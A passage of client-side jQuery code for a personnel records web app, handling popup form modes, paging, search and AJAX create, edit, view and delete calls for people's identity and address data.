initComboboxData(true); // person name $("#txtPersonNamePopup").prop("disabled", false); // Birth Day $("#datepicker").prop("disabled", false); // place of birth $("#cbbPlaceOfBirth").prop("disabled", false); // Indentity Card $("#txtIndentityCardPopup").prop("disabled", false); // phone $("#txtPhonePopup").prop("disabled", false); // nation $("#txtNationPopup").prop("disabled", false); // religion $("#txtReligionPopup").prop("disabled", false); // Permanent Address $("#txtPermanentAddressPopup").prop("disabled", false); // Temporary Residence Address $("#txtTemporaryResidenceAddressPopup").prop("disabled", false); // Temporary Residence Address $("#txtTemporaryResidenceAddressPopup").prop("disabled", false); // Education $("#cbbEducationPopup").prop("disabled", false);/* // University $("#cbbUniversityPopup").prop("disabled", false); // Specialized $("#cbbSpecializedPopup").prop("disabled", false);*/ // country $("#cbbCountryPopup").prop("disabled", false); // city $("#cbbCityPopup").prop("disabled", false); // district $("#cbbDistrictPopup").prop("disabled", false); // wards $("#cbbWardsPopup").prop("disabled", false); // town $("#cbbTownPopup").prop("disabled", false); // groups $("#cbbGroupsPopup").prop("disabled", false); // Education $("#cbbStatusPopup").prop("disabled", false); // University $("#cbbCatePopup").prop("disabled", false); // register button $("#btnRegisterPopup").show(); } else if (mode == MODE_EDIT) { // set current mode currentMode = MODE_EDIT; // person name $("#txtPersonNamePopup").prop("disabled", true); // Birth Day $("#datepicker").prop("disabled", false); // place of birth $("#cbbPlaceOfBirth").prop("disabled", false); // Identity Card $("#txtIndentityCardPopup").prop("disabled", false); // phone $("#txtPhonePopup").prop("disabled", false); // nation $("#txtNationPopup").prop("disabled", false); // religion $("#txtReligionPopup").prop("disabled", false); // Permanent Address $("#txtPermanentAddressPopup").prop("disabled", false); // Temporary Residence Address $("#txtTemporaryResidenceAddressPopup").prop("disabled", false); // Temporary Residence Address $("#txtTemporaryResidenceAddressPopup").prop("disabled", false); // Education $("#cbbEducationPopup").prop("disabled", false);/* // University $("#cbbUniversityPopup").prop("disabled", false); // Specialized $("#cbbSpecializedPopup").prop("disabled", false);*/ // country $("#cbbCountryPopup").prop("disabled", false); // city $("#cbbCityPopup").prop("disabled", false); // district $("#cbbDistrictPopup").prop("disabled", false); // wards $("#cbbWardsPopup").prop("disabled", false); // town $("#cbbTownPopup").prop("disabled", false); // groups $("#cbbGroupsPopup").prop("disabled", false); // Education $("#cbbStatusPopup").prop("disabled", false); // University $("#cbbCatePopup").prop("disabled", false); // register button $("#btnRegisterPopup").show(); } else if (mode == MODE_VIEW) { // set current mode currentMode = MODE_VIEW; // person name $("#txtPersonNamePopup").prop("disabled", true); // Birth Day $("#datepicker").prop("disabled", true); // place of birth $("#cbbPlaceOfBirth").prop("disabled", true); // Indentity Card $("#txtIndentityCardPopup").prop("disabled", true); // phone $("#txtPhonePopup").prop("disabled", true); // nation $("#txtNationPopup").prop("disabled", true); // religion $("#txtReligionPopup").prop("disabled", true); // Permanent Address $("#txtPermanentAddressPopup").prop("disabled", true); // Temporary Residence Address $("#txtTemporaryResidenceAddressPopup").prop("disabled", true); // Temporary Residence Address $("#txtTemporaryResidenceAddressPopup").prop("disabled", true); // Education $("#cbbEducationPopup").prop("disabled", true);/* // University $("#cbbUniversityPopup").prop("disabled", true); // Specialized $("#cbbSpecializedPopup").prop("disabled", true);*/ // country $("#cbbCountryPopup").prop("disabled", true); // city $("#cbbCityPopup").prop("disabled", true); // district $("#cbbDistrictPopup").prop("disabled", true); // wards $("#cbbWardsPopup").prop("disabled", true); // town $("#cbbTownPopup").prop("disabled", true); // groups $("#cbbGroupsPopup").prop("disabled", true); // Education $("#cbbStatusPopup").prop("disabled", true); // University $("#cbbCatePopup").prop("disabled", true); // register button $("#btnRegisterPopup").hide(); } } // display current date $("#txtCurrentDate").text(" " + getCurrentDate() + " (" + DAY_OF_WEEK + ") " + getCurrentTime()); // Page First button click event process $("#btnFirst").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage > 1) { var newPage = 1; goToPage(newPage); } } }); // Page Previous button click event process $("#btnPrevious").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage > 1) { var newPage = currentPage - 1; goToPage(newPage); } } }); // Page Next button click event process $("#btnNext").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage < maxPage) { var newPage = currentPage + 1; goToPage(newPage); } } }); // Page Last button click event process $("#btnLast").bind("click", function() { if (parseInt(totalResultCount) > 0) { if (currentPage < maxPage) { var newPage = maxPage; goToPage(newPage); } } }); // Search button event process $("#btnSearch").bind("click", function() { countStt = 0; $(".alert").addClass("display-none"); setTimeout(function() { // reset variables resetVariables(); // draw table drawResult = drawTable(); if (drawResult != "") { // update total data count UI setDataCounts(); } }, 10); }); // Update total data count process function setDataCounts() { $("#txtCounts").text(totalResultCount.toString().replace(/^(-?\d+)(\d{3})/, "$1,$2")); } // Reset variables process function resetVariables() { totalResultCount = 0; currentPage = 1; from = 0; } // Check Page input $("#txtGoToPage").bind("keyup", function() { var value = parseInt($(this).val()); if (value > 0) { $("#btnGoToPage").prop("disabled", false); $("#btnGoToPage").css("cursor", "pointer"); } if (isNaN(value) || $(this).val() == "" || (currentPage == maxPage && (maxPage == 1 || maxPage == 0))) { $("#btnGoToPage").prop("disabled", true); $("#btnGoToPage").css("cursor", "default"); } }); $("#txtGoToPage").bind("keydown", function(event) { // Allow: backspace, delete, tab, escape, enter if ($.inArray(event.keyCode, [ 46, 8, 9, 27, 13 ]) !== -1 || // Allow: Ctrl+A, Command+A (event.keyCode == 65 && (event.ctrlKey === true || event.metaKey === true)) || // Allow: home, end, left, // right, down, up (event.keyCode >= 35 && event.keyCode <= 40)) { // let it happen, don't do anything return; } // Ensure that it is a number and stop // the keypress if ((event.shiftKey || (event.keyCode < 48 || event.keyCode > 57)) && (event.keyCode < 96 || event.keyCode > 105)) { event.preventDefault(); } }); // Page Go button click event process $("#btnGoToPage").bind("click", function() { var newPage = parseInt($("#txtGoToPage").val()); if (newPage >= 1 && newPage <= maxPage && maxPage > 0) { currentPage = newPage; goToPage(currentPage); } else if (newPage >= 1 && newPage > maxPage && maxPage > 0) { newPage = maxPage; goToPage(newPage); } else if (newPage == 0 && maxPage > 0) { newPage = 1; goToPage(newPage); } }); // Get data of search result based on page number function goToPage(newPage) { setTimeout(function() { // newPage is 0-index based newPage = parseInt(newPage) - 1; from = parseInt(ITEM_IN_ONE_PAGE) * newPage; // draw new data var drawResult = drawTable(); if (drawResult != "") { currentPage = newPage + 1; // update pager $("#lblCurrentPage").text(currentPage); $("#lblMaxPage").text(maxPage); setPagerStatus(); } // update total data count UI setDataCounts(); }, 10); } // Update UI of pager based on search result function setPagerStatus() { $("#txtGoToPage").val(""); if (parseInt(totalResultCount) > 0) { if (parseInt(maxPage) == 1) { $("#btnFirst").addClass("disabled"); $("#btnPrevious").addClass("disabled"); $("#btnNext").addClass("disabled"); $("#btnLast").addClass("disabled"); } else { if (currentPage == 1) { $("#btnFirst").addClass("disabled"); $("#btnPrevious").addClass("disabled"); $("#btnNext").removeClass("disabled"); $("#btnLast").removeClass("disabled"); } if (currentPage > 1 && currentPage < maxPage) { $("#btnFirst").removeClass("disabled"); $("#btnPrevious").removeClass("disabled"); $("#btnNext").removeClass("disabled"); $("#btnLast").removeClass("disabled"); } if (currentPage == maxPage) { $("#btnFirst").removeClass("disabled"); $("#btnPrevious").removeClass("disabled"); $("#btnNext").addClass("disabled"); $("#btnLast").addClass("disabled"); } } } else { $("#btnFirst").addClass("disabled"); $("#btnPrevious").addClass("disabled"); $("#btnNext").addClass("disabled"); $("#btnLast").addClass("disabled"); $("#txtGoToPage").prop("readonly", true); } } // Register button in popup click event process $("#btnRegisterPopup").bind("click", function() { countStt = 0; var dataObject = null; // check current mode if (currentMode == MODE_NEW) { // check for cate Name input if (!checkInputBlankFields()) { // blank field(s) // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else { // insert new cate to DB // get cate input data dataObject = createCriteriaDataObject(); // make Ajax call to server to get data $.ajax({ type: "POST", url: "insertData", contentType: "application/json", data: JSON.stringify(dataObject), async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // check returned value from server if (returnedJsonData == VALIDATE_BLANK_FIELDS) { // blank field(s) // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else if (returnedJsonData == VALIDATE_WRONG_FORMAT) { // id is in wrong format // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_SUCCESSFUL) { // search data again // reset variables resetVariables(); // reset search conditions resetSearchConditions(); // draw table drawResult = drawTable(); if (drawResult != "") { // update total data count UI setDataCounts(); } // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + INSERT_RESULT_SUCCESSFUL_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_DUPLICATED) { // duplicated cate id // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_DUPLICATED_MESSAGE); } else if (returnedJsonData == INSERT_RESULT_FAILED) { // failed // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + INSERT_RESULT_FAILED_MESSAGE); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } } else if (currentMode == MODE_EDIT) { // check for cate input if (!checkInputBlankFields()) { // blank field(s) // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else { // update existing cate in DB // get cate input data dataObject = createCriteriaDataObject(); // make Ajax call to server to get data $.ajax({ type: "POST", url: "updateData", contentType: "application/json", data: JSON.stringify(dataObject), async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // check returned value from server if (returnedJsonData == VALIDATE_BLANK_FIELDS) { // blank field(s) // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + VALIDATE_BLANK_FIELDS_MESSAGE); } else if (returnedJsonData == UPDATE_RESULT_SUCCESSFUL) { // update the corresponding cate data in search table // make Ajax call to server to get data $.ajax({ url: "getSingleData", data: { "criteriaId": $("#txtCriteriaIdPopup").val() }, type: "POST", async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // cates name $("#row" + selectedRowIndex).find("td").eq(2).text(returnedJsonData.criteraName); // Update by $("#row" + selectedRowIndex).find("td").eq(6).text(returnedJsonData.updateUserId); } }, complete: function(jqXHR, textStatus) { // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + UPDATE_RESULT_SUCCESSFUL_MESSAGE); } }); } else if (returnedJsonData == UPDATE_RESULT_FAILED) { // failed // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + UPDATE_RESULT_FAILED_MESSAGE); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } } }); // Search conditions object creation process function createSearchConditions() { return { countryId : $("#cbbCountry").find("option:selected").val(), cityId : $("#cbbCity").find("option:selected").val(), districtId : $("#cbbDistrict").find("option:selected").val(), wardsId : $("#cbbWards").find("option:selected").val(), townId : $("#cbbTown").find("option:selected").val(), cateId : $("#cbbCate").find("option:selected").val(), statusId : $("#cbbStatus").find("option:selected").val(), educationId : $("#cbbEducation").find("option:selected").val(), identityCard : $("#txtIdentityCard").val(), personName : $("#txtPersonName").val(), universityId : $("#cbbUniversity").find("option:selected").val(), specializedId : $("#cbbSpecialized").find("option:selected").val(), groupsId : $("#cbbGroups").find("option:selected").val(), fromRow: from, itemCount: ITEM_IN_ONE_PAGE }; } // Draw cate data table based on search conditions function drawTable() { $(".alert").addClass("display-none"); // variables definition var returnValue = ""; var dataObject = null; // get search conditions dataObject = createSearchConditions(); // make Ajax call to server to get data $.ajax({ type: "POST", url: "searchData", contentType: "application/json", data: JSON.stringify(dataObject), async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { $("#btnExport").removeClass("disabled"); // set the real search total count totalResultCount = returnedJsonData[0].searchDataTotalCounts; if (parseInt(totalResultCount) == -1) { // OutOfMemoryException, display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + SEARCH_RESULT_OUT_OF_MEMORY_MESSAGE); } else { // calculate max page var calculatedResultOdd = parseInt(totalResultCount) % parseInt(ITEM_IN_ONE_PAGE); var calculatedResult = Math.floor(parseInt(totalResultCount) / parseInt(ITEM_IN_ONE_PAGE)); maxPage = (calculatedResultOdd == 0) ? calculatedResult : (calculatedResult + 1); // update pager $("#lblCurrentPage").text(currentPage); $("#lblMaxPage").text(maxPage); // clear table $("#example2").find("tbody").remove(); // create table starts var tableStringArray = []; // add tbody open tag tableStringArray.push("<tbody>"); for (var i = 0; i < returnedJsonData.length; i++) { countStt++; // row open tag tableStringArray.push("<tr id='row" + i + "'>"); // STT tableStringArray.push("<td class='align-center'>" + countStt + "</td>"); // Button tableStringArray.push('<td style="padding-right: 25px;padding-left: 25px;"><div class="btn-group">'+ '<button type="button" class="btn bg-info">Action</button>'+ '<button type="button"'+ 'class="btn bg-info dropdown-toggle"'+ 'data-toggle="dropdown">'+ '<span class="caret"></span> <span class="sr-only">Toggle'+ 'Dropdown</span>'+ '</button>'+ '<ul class="dropdown-menu" role="menu">'+ '<li><a class = "edit" data-toggle="modal"'+ 'data-target="#modal-default" name="' + i + '" id="'+ returnedJsonData[i].personId +'">Edit</a></li>'+ '<li><a class = "view" data-toggle="modal" id="'+ returnedJsonData[i].personId +'"' + 'data-target="#modal-default" name="' + i + '">View</a></li>'+ '<li><a class = "delete" id="'+ returnedJsonData[i].personId +'" name="' + i + '">Delete</a></li>'+ '<li><a class = " btnProcessOfYourSelt" data-toggle="modal" data-target="#modal-info" id="'+ returnedJsonData[i].personId +'" name="' + i + '">Process</a></li>' + '<li><a class = "relation btnNumberOfRelation" data-toggle="modal" data-target="#modal-success" id="'+ returnedJsonData[i].personId +'" name="' + i + '">Relation</a></li>' + '<li><a class = "relation btnEditReport" data-toggle="modal" data-target="#modal-warning" id="'+ returnedJsonData[i].personId +'" name="' + i + '">Note Report</a></li>' + '<li><a class = "relation btnExportDoc" id="'+ returnedJsonData[i].personId +'" name="' + i + '">Sơ yếu lí Lịch</a></li>' + '</ul>'); /*// EDIT tableStringArray.push("<td class='align-center'><span data-toggle='modal' data-target='#modal-default' id='"+ returnedJsonData[i].personId +"' style='color: #1cec1c;' class='glyphicon glyphicon-edit edit cursor-pointer'></span></td>"); // View tableStringArray.push("<td class='align-center'><span data-toggle='modal' data-target='#modal-default' id='"+ returnedJsonData[i].personId +"' class='glyphicon glyphicon-list-alt view cursor-pointer'></span></td>"); // Delete tableStringArray.push("<td class='align-center'><span id='"+ returnedJsonData[i].personId +"' style='color: red;' class='glyphicon glyphicon-remove delete btnDelete cursor-pointer'></span></td>"); // Process tableStringArray.push("<td class='align-center'><span data-toggle='modal' data-target='#modal-info' id='"+ returnedJsonData[i].personId +"' style='color: #337ab7;' class='glyphicon glyphicon-user relation btnProcessOfYourSelt cursor-pointer'></span></td>"); // RelationShip tableStringArray.push("<td class='align-center'><span data-toggle='modal' data-target='#modal-success' id='"+ returnedJsonData[i].personId +"' style='color: #d9edf7;' class='glyphicon glyphicon-home relation btnNumberOfRelation cursor-pointer'></span></td>"); //modal-warning tableStringArray.push("<td class='align-center'><span data-toggle='modal' data-target='#modal-warning' id='"+ returnedJsonData[i].personId +"' style='color: #00c0ef;' class='relation btnEditReport cursor-pointer'><i class='fa fa-fw fa-file-excel-o'></i></span></td>"); */// lltn STT tableStringArray.push("<td class='align-center'>" + returnedJsonData[i].lltnStt + "</td>"); // kskquan Stt tableStringArray.push("<td class='align-center' style = 'width: 100px;'>" + returnedJsonData[i].kskquanStt + "</td>"); // personId tableStringArray.push("<td class='align-center' style = 'width: 100px;'>" + returnedJsonData[i].personId + "</td>"); // person Name tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].personName + "</td>"); // Birth Day tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].dateOfBirth + "/" + returnedJsonData[i].monthOfBirth + "/" + returnedJsonData[i].yearOfBirth +"</td>"); // Place of birth tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].cityName + "</td>"); // identity Card tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].identityCard + "</td>"); // country Name tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].countryName + "</td>"); // nation tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].nation + "</td>"); // religion tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].religion + "</td>"); // permanent Address tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].permanentAddress + "</td>"); // temporary Residence Address tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].temporaryResidenceAddress + "</td>"); // national tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].countryName + "</td>"); // element tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].element + "</td>"); // graduation Year tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].graduationYear + "</td>"); // job Id tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].jobId + "</td>"); // work Place tableStringArray.push("<td class='align-center' style = 'width: 200px;'>" + returnedJsonData[i].workPlace + "</td>"); // create By tableStringArray.push("<td class='align-center'>" + returnedJsonData[i].createUserId + "</td>"); // update by tableStringArray.push("<td class='align-center'>" + returnedJsonData[i].updateUserId + "</td>"); // row close tag tableStringArray.push("</tr>"); } // add tbody close tag tableStringArray.push("</tbody>"); // append all created string to table $("#example2").append(tableStringArray.join('')); $(".pager").removeClass("display-none"); // update total data count UI setDataCounts(); setPagerStatus(); } } else { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + SEARCH_RESULT_NO_DATA_MESSAGE); // update pager $("#lblCurrentPage").text("0"); $("#lblMaxPage").text("0"); $("#divHead").addClass("display-none"); $(".pager").addClass("display-none"); // clear table $("#example2").find("tbody").remove(); totalResultCount = 0; // update total data count UI setDataCounts(); setPagerStatus(); } returnValue = totalResultCount; }, error: function(e) { // set return value returnValue = ""; // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); return returnValue; } // cate data object creation process, to use in Updating and Inserting cate function createCriteriaDataObject() { var birthDay = $("#datepicker").val(); var date = birthDay.substring(0,2); var month = birthDay.substring(3,5); var year = birthDay.substring(6,10); return { personId: $("#txtPersonIdPopup").val(), cateId: $("#cbbCatePopup").val(), statusId: $("#cbbStatusPopup").val(), personName: $("#txtPersonNamePopup").val(), dateOfBirth: date, monthOfBirth: month, yearOfBirth: year, phone: $("#txtPhonePopup").val(), kskquanStt: $("#txtKskQuanStt").val(), lltnStt: $("#txtLltnStt").val(), identityCard: $("#txtIndentityCardPopup").val(), placeOfBirth: $("#cbbPlaceOfBirth").val(), nativeCountry: $("#cbbCountryPopup").val(), nation: $("#txtNationPopup").val(), religion: $("#txtReligionPopup").val(), permanentAddress: $("#txtPermanentAddressPopup").val(), temporaryResidenceAddress: $("#txtTemporaryResidenceAddressPopup").val(), national: $("#cbbCountryPopup").val(), cityId: $("#cbbCityPopup").val(), districtId: $("#cbbDistrictPopup").val(), wardsId: $("#cbbWardsPopup").val(), townId: $("#cbbTownPopup").val(), groupsId: $("#cbbGroupsPopup").val(), element: "1", universityId: $("#cbbUniversityPopup").val(), educationalId: $("#cbbEducationPopup").val(), graduationYear: "1", specializedId: $("#cbbSpecializedPopup").val(), jobId: "1", workPlace: "1" }; } // Delete cate click event process $(document).on("click", ".delete", function() { countStt = 0; // get id of selected cate personIdPopup = $(this).attr("id"); // display confirmation message jQuestion_warning(DELETE_CONFIRM_MESSAGE, DIALOG_TITLE, DIALOG_YES_BUTTON, DIALOG_NO_BUTTON, function(val) { if (val) { // make Ajax call to server to delete data $.ajax({ url: "deleteData", data: { "personId": personIdPopup }, type: "POST", async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { // check returned value from server if (returnedJsonData == DELETE_RESULT_SUCCESSFUL) { // search data again // reset variables resetVariables(); // reset search conditions resetSearchConditions(); // draw table drawResult = drawTable(); if (drawResult != "") { // update total data count UI setDataCounts(); } // display message $(".alert").removeClass("display-none").addClass("alert-info").find("span").html("").html('<i class="icon fa fa-info"></i> ' + DELETE_RESULT_SUCCESSFUL_MESSAGE); } else if (returnedJsonData == DELETE_RESULT_FAILED) { // failed // display message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + DELETE_RESULT_FAILED_MESSAGE); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); } }); }); $(document).on("click", ".edit", function() { // get id of selected cate peronIdPopup = $(this).attr("id"); // make Ajax call to server to get data $.ajax({ url: "getSingleData", data: { "PersonId": peronIdPopup }, type: "POST", async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { clearPopupControl(); // change state of controls in popup based on mode initComboboxData(true); for (var i = 0; i < returnedJsonData.length; i++) { $("#txtKskQuanStt").val(returnedJsonData[i].kskquanStt); $("#txtLltnStt").val(returnedJsonData[i].lltnStt); // Person ID $("#txtPersonIdPopup").val(returnedJsonData[i].personId); // Person Name $("#txtPersonNamePopup").val(returnedJsonData[i].personName); // Birth Day $("#datepicker").val(returnedJsonData[i].dateOfBirth + "/" + returnedJsonData[i].monthOfBirth + "/" + returnedJsonData[i].yearOfBirth); // place of birth $("#cbbPlaceOfBirth").val(returnedJsonData[i].placeOfBirth); // IndentityCard $("#txtIndentityCardPopup").val(returnedJsonData[i].identityCard); // phone $("#txtPhonePopup").val(returnedJsonData[i].phone); // nation $("#txtNationPopup").val(returnedJsonData[i].nation); // religion $("#txtReligionPopup").val(returnedJsonData[i].religion); // permanent Address $("#txtPermanentAddressPopup").val(returnedJsonData[i].permanentAddress); // temporary Residence Address $("#txtPermanentAddressPopup").val(returnedJsonData[i].temporaryResidenceAddress); // temporary Residence Address $("#txtTemporaryResidenceAddressPopup").val(returnedJsonData[i].temporaryResidenceAddress); $("#cbbCityPopup").prop("disabled", false); $("#cbbDistrictPopup").prop("disabled", false); $("#cbbWardsPopup").prop("disabled", false); $("#cbbTownPopup").prop("disabled", false); $("#cbbGroupsPopup").prop("disabled", false); // city loadCityDataComboboxEdit(returnedJsonData[0].cityId); // district loadDistrictDataByCityIdEdit(returnedJsonData[0].districtId); // wards loadWardsDataByDistrictIdEdit(returnedJsonData[0].wardsId); // town loadTownDataByWardsIdEdit(returnedJsonData[0].townId); // groupsId loadGroupsDataByTownIdEdit(returnedJsonData[0].groupsId); // category $("#cbbCatePopup").val(returnedJsonData[0].cateId); // status $("#cbbStatusPopup").val(returnedJsonData[0].statusId); // education if (returnedJsonData[0].educationalId != null) { $("#cbbEducationPopup").val(returnedJsonData[0].educationalId); loadUniversityDataComboboxEdit(returnedJsonData[0].educationalId, returnedJsonData[0].universityId); $("#cbbSpecializedPopup").val(returnedJsonData[0].specializedId); } setPopupControlState(MODE_EDIT); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); }); $(document).on("click", ".view", function() { // get id of selected cate peronIdPopup = $(this).attr("id"); // make Ajax call to server to get data $.ajax({ url: "getSingleData", data: { "PersonId": peronIdPopup }, type: "POST", async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; if (returnedJsonData != "") { clearPopupControl(); // change state of controls in popup based on mode initComboboxData(true); for (var i = 0; i < returnedJsonData.length; i++) { $("#txtKskQuanStt").val(returnedJsonData[i].kskquanStt); $("#txtLltnStt").val(returnedJsonData[i].lltnStt); // Person ID $("#txtPersonIdPopup").val(returnedJsonData[i].personId); // Person Name $("#txtPersonNamePopup").val(returnedJsonData[i].personName); // Birth Day $("#datepicker").val(returnedJsonData[i].dateOfBirth + "/" + returnedJsonData[i].monthOfBirth + "/" + returnedJsonData[i].yearOfBirth); // place of birth $("#cbbPlaceOfBirth").val(returnedJsonData[i].placeOfBirth); // IndentityCard $("#txtIndentityCardPopup").val(returnedJsonData[i].identityCard); // phone $("#txtPhonePopup").val(returnedJsonData[i].phone); // nation $("#txtNationPopup").val(returnedJsonData[i].nation); // religion $("#txtReligionPopup").val(returnedJsonData[i].religion); // permanent Address $("#txtPermanentAddressPopup").val(returnedJsonData[i].permanentAddress); // temporary Residence Address $("#txtPermanentAddressPopup").val(returnedJsonData[i].temporaryResidenceAddress); // temporary Residence Address $("#txtTemporaryResidenceAddressPopup").val(returnedJsonData[i].temporaryResidenceAddress); $("#cbbCityPopup").prop("disabled", false); $("#cbbDistrictPopup").prop("disabled", false); $("#cbbWardsPopup").prop("disabled", false); $("#cbbTownPopup").prop("disabled", false); $("#cbbGroupsPopup").prop("disabled", false); // city loadCityDataComboboxEdit(returnedJsonData[0].cityId); // district loadDistrictDataByCityIdEdit(returnedJsonData[0].districtId); // wards loadWardsDataByDistrictIdEdit(returnedJsonData[0].wardsId); // town loadTownDataByWardsIdEdit(returnedJsonData[0].townId); // groupsId loadGroupsDataByTownIdEdit(returnedJsonData[0].groupsId); // category $("#cbbCatePopup").val(returnedJsonData[0].cateId); // status $("#cbbStatusPopup").val(returnedJsonData[0].statusId); // education if (returnedJsonData[0].educationalId != null) { $("#cbbEducationPopup").val(returnedJsonData[0].educationalId); loadUniversityDataComboboxEdit(returnedJsonData[0].educationalId, returnedJsonData[0].universityId ); $("#cbbSpecializedPopup").val(returnedJsonData[0].specializedId); } // University $("#cbbUniversityPopup").prop("disabled", true); // Specialized $("#cbbSpecializedPopup").prop("disabled", true); setPopupControlState(MODE_VIEW); } } }, error: function(e) { // display error message $(".alert").removeClass("display-none").addClass("alert-warning").find("span").html("").html('<i class="icon fa fa-warning"></i> ' + ERROR_MESSAGE); } }); }); // load Education on Popup function loadUniversityDataComboboxEdit(educationId, universityId) { var selectedEducationId = ""; selectedEducationId = $("#cbbEducationPopup").find("option:selected").val(); // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (selectedEducationId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getUniversityDataByEducationId", data: { "educationId": selectedEducationId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; if (returnedJsonData != "") { for (var i = 0; i < returnedJsonData.length; i++) { if (returnedJsonData[i].universityId == universityId && universityId != "") { optionStr += "<option value='" + returnedJsonData[i].universityId + "' selected = 'selected'>" + returnedJsonData[i].universityName + "</option>"; } else { optionStr += "<option value='" + returnedJsonData[i].universityId + "'>" + returnedJsonData[i].universityName + "</option>"; } } $("#cbbUniversityPopup").empty().append(optionStr).prop("disabled", false); if (universityId != "") { loadSpecializedDataByUniverisityId(true); } } else { // reset empty combobox and disabled $("#cbbUniversityPopup").empty().append(optionStr).prop("disabled", true); $("#cbbSpecializedPopup").empty().append(optionStr).prop("disabled", true); } }, error: function(e) { // reset empty combobox and disabled $("#cbbUniversityPopup").empty().append(optionStr).prop("disabled", true); $("#cbbSpecializedPopup").empty().append(optionStr).prop("disabled", true); // display error message alert(ERROR_MESSAGE); } }); } else { $("#cbbUniversityPopup").empty().append(optionStr).prop("disabled", true); $("#cbbSpecializedPopup").empty().append(optionStr).prop("disabled", true); } } // Load Education Data into combobox function loadEducationComboxEdit(educationId) { if (eduactionData != "") { var optionStr = "<option value='"+ STATUS_NO_SELECT +"'></option>"; for (var i = 0; i < eduactionData.length; i++) { if (educationId == eduactionData[i].educationId) { optionStr += "<option value='" + eduactionData[i].educationId + "' selected = 'selected'>" + eduactionData[i].level + "</option>"; } else { optionStr += "<option value='" + eduactionData[i].educationId + "'>" + eduactionData[i].level + "</option>"; } } if (isPopupMode) { $("#cbbEducationPopup").empty() $("#cbbEducationPopup").append(optionStr); } else { $("#cbbEducation > ").empty() $("#cbbEducation").append(optionStr); } } } // Load City name combobox data function loadCityDataComboboxEdit(cityId) { var selectedCountryId = ""; selectedCountryId = $("#cbbCountryPopup").find("option:selected").val(); if (selectedCountryId != STATUS_NO_SELECT) { // make Ajax call to server to get data $.ajax({ type: "POST", url: "getCityDataByCountryId", data: { "countryId": selectedCountryId }, async: false, success: function(returnedJsonData) { if (checkSessionTimeout(returnedJsonData) == 1) return; // create option string var 